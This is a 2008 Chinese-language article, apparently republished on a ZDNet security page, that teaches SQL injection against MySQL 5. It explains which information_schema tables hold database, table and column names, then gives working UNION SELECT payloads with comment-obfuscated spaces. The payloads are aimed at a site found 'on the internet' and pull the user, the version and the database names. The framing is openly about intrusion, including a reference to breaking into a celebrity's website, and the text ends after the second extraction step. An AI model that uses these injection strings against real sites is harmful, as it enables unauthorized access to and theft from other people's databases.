Mysql5注射技巧总结(图)

ZDNet 安全频道频道 更新时间:2008-06-14 作者: 来源:SohuIT

本文关键词:关键字段 注射点 数据库

  Mysql5和之前的版本有很多不同的地方,灵活的运用其特性可以在入侵的时候省掉很多麻烦。我试图在本文把在《渗透周杰伦官方网站》中没有写清楚的部分表达出来,你看明白这个文章后也许你会发现,原来mysql5也可以像mssql一样注射。



  一、原理分析



  我们先看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的



  mysql> use information_schema;



  Database changed



  mysql> show tables;



  +---------------------------------------+



  | Tables_in_information_schema |



  +---------------------------------------+



  | CHARACTER_SETS |



  | COLLATIONS |



  | COLLATION_CHARACTER_SET_APPLICABILITY |



  | COLUMNS |



  | COLUMN_PRIVILEGES |



  | KEY_COLUMN_USAGE |



  | ROUTINES |



  | SCHEMATA |



  | SCHEMA_PRIVILEGES |



  | STATISTICS |



  | TABLES |



  | TABLE_CONSTRAINTS |



  | TABLE_PRIVILEGES |



  | TRIGGERS |



  | USER_PRIVILEGES |



  | VIEWS |



  +---------------------------------------+



  如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息,我这里只挑注射中可以用到的几个表。 



  | SCHEMATA ――>存储数据库名的,



  |——>关键字段:SCHEMA_NAME,表示数据库名称



  



  | TABLES ――>存储表名的



  |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;



  TABLE_NAME表示表的名称



  | COLUMNS ――>存储字段名的



  |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;



  TABLE_NAME表示所属的表的名称



  COLUMN_NAME表示字段名



  可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。



  二、实战测试



  到网上找到一个注射点,首先还是像以往一样猜字段、版本和数据库用户,如图1



  xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*



  



  



  图一



  下面猜数据库,可以通过不断递增limit的第一个参数查询到所有的数据库名,如图2



  xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*

安全频道 数据库 最新报道

[an error occurred while processing this directive]